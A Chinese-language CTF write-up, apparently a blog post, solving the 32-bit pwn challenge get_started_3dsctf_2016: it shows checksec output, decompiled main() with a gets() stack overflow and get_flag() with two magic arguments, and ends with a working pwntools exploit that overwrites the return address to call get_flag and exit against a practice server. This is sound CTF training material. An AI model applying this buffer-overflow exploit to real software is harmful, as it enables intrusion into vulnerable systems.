get_started_3dsctf_2016

这道题是一道很老的题了,很遗憾现在才做到,不是简简单单的stackoverflow,是有灵魂的

Checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位程序,开启了NX,RELRO

File

get_started_3dsctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, not stripped

静态链接
尝试ROPgadget直接生成ropchain,菜未通

Run the program

Qual a palavrinha magica?

接着是等待用户的输入,然后程序结束

Analyse

function - main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[56]; // [esp+4h] [ebp-38h] BYREF

  printf("Qual a palavrinha magica? ", v4[0]);
  gets(v4);
  return 0;
}

输出"Qual a palavrinha magica? "之后跟上v4

gets():stackoverflow

function - get_flag

void __cdecl get_flag(int a1, int a2)
{
  int v2; // esi
  unsigned __int8 v3; // al
  int v4; // ecx
  unsigned __int8 v5; // al

  if ( a1 == 0x308CD64F && a2 == 425138641 )
  {
    v2 = fopen("flag.txt", "rt");
    v3 = getc(v2);
    if ( v3 != 255 )
    {
      v4 = (char)v3;
      do
      {
        putchar(v4);
        v5 = getc(v2);
        v4 = (char)v5;
      }
      while ( v5 != 255 );
    }
    fclose(v2);
  }
}

get_flag()有两个参数,a1和a2。这里我已经将a1和a2转换成了十六进制。if对a1和a2进行了一个判断,符合条件后进行对flag的读取。具体读取过程为:首先v2对flag.txt文件进行一个读取,v3用getc()来接收v2读取的值(getc():从指定的流stream获取下一个字符(一个无符号字符),并把位置标识符往前移动)。在v3不为255时,将值传给v4,用中间变量v5来读取v2的值,并且在v5不为255时,将v5的值赋给v4并输出v4,最终输出的结果就是flag

但是我们发现通过main()的stackoverflow单纯的跳到get_flag()这个函数是无法拿到flag的,这里是因为我们在stackoverflow时覆盖了a1和a2,破坏了输出flag的条件,从而无法得到flag。我们试想,如果我们在stackoverflow时保护了栈结构,使程序达到输出flag的条件,正常退出,是否就可以拿到flag?

于是我们需要exit()的地址,以及满足条件的a1和a2的值,即0x308CD64F0x195719D1

Exp

'''
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
'''
from pwn import *
context(os = "linux" , arch = "i386" , log_level = "debug")
elf = ELF("/mnt/c/Users/M1sceden4/Desktop/get_started_3dsctf_2016")
host = "node4.buuoj.cn"
port = 27979
local = int(input("0 for remote , 1 for local:\t"))
if local == 0:
    io = remote(host , port)
elif local == 1:
    io = elf.process()
ret = 0x08048196
exits = elf.sym['exit']
success("got exit addr : %s" % hex(exits))
payload = b"a" * 0x38 + p32(0x080489A0) + p32(exits) + p32(0x308CD64F) + p32(0x195719D1)
# io.recvuntil("Qual a palavrinha magica? " , timeout = 0.5)
io.sendline(payload)
io.recvline()
io.interactive()

注意flag的位置

posted @ 2022-07-28 21:12  dotExp  阅读(217)  评论(0编辑  收藏  举报